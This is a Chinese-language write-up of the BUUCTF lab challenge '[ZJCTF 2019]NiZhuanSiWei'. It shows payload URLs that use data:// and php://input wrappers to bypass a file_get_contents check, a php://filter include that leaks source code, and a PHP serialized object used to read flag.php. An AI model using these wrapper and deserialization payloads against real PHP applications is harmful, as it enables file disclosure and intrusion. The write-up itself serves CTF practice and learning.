buuctf——[ZJCTF 2019]NiZhuanSiWei
1.绕过file_get_contents()函数
 file_get_contents函数介绍
 定义和用法
 file_get_contents() 把整个文件读入一个字符串中。
 该函数是用于把文件的内容读入到一个字符串中的首选方法。如果服务器操作系统支持,还会使用内存映射技术来增强性能。
 绕过方法
 方法一:data://text/plain,welcome to the zjctf
http://8c6614ad-a195-4f14-a40e-87881da566f6.node5.buuoj.cn:81/index.php?text=data://text/plain,welcome to the zjctf

方法二: php://input
 函数体里输入welcome to the zjctf
 
 方法二需要注意的是,需要使用bp或者yakit进行抓包传输,开始还一直以为是hackbar的问题,踩了一堆的坑。
?text=data://text/plain,welcome to the zjctf
2.通过include()函数读取useless.php文件的内容
http://8c6614ad-a195-4f14-a40e-87881da566f6.node5.buuoj.cn:81/index.php?text=data://text/plain,welcome to the zjctf&file=php://filter/read=convert.base64-encode/resource=useless.php

3.成功读取useless.php的文件内容
<?php  
class Flag{  //flag.php  
    public $file;  
    public function __tostring(){  
        if(isset($this->file)){  
            echo file_get_contents($this->file); 
            echo "<br>";
        return ("U R SO CLOSE !///COME ON PLZ");
        }  
    }  
}  
?>
 

<?php  
class Flag{
	public $file="flag.php";
	public function __tostring(){
		if(isset($this->file)){  
            echo file_get_contents($this->file); 
            echo "<br>";
        return ("U R SO CLOSE !///COME ON PLZ");
        } 
	}
}	
$a = new Flag();
var_dump(serialize($a));
?>  
 

O:4:"Flag":1:{s:4:"file";s:8:"flag.php";}
4.构造完整的payload为
 http://8c6614ad-a195-4f14-a40e-87881da566f6.node5.buuoj.cn:81/index.php?text=data://text/plain,welcome to the zjctf&file=useless.php&password=O:4:"Flag":1:{s:4:"file";s:8:"flag.php";}
 5.查看源代码即可看到flag
 
 



















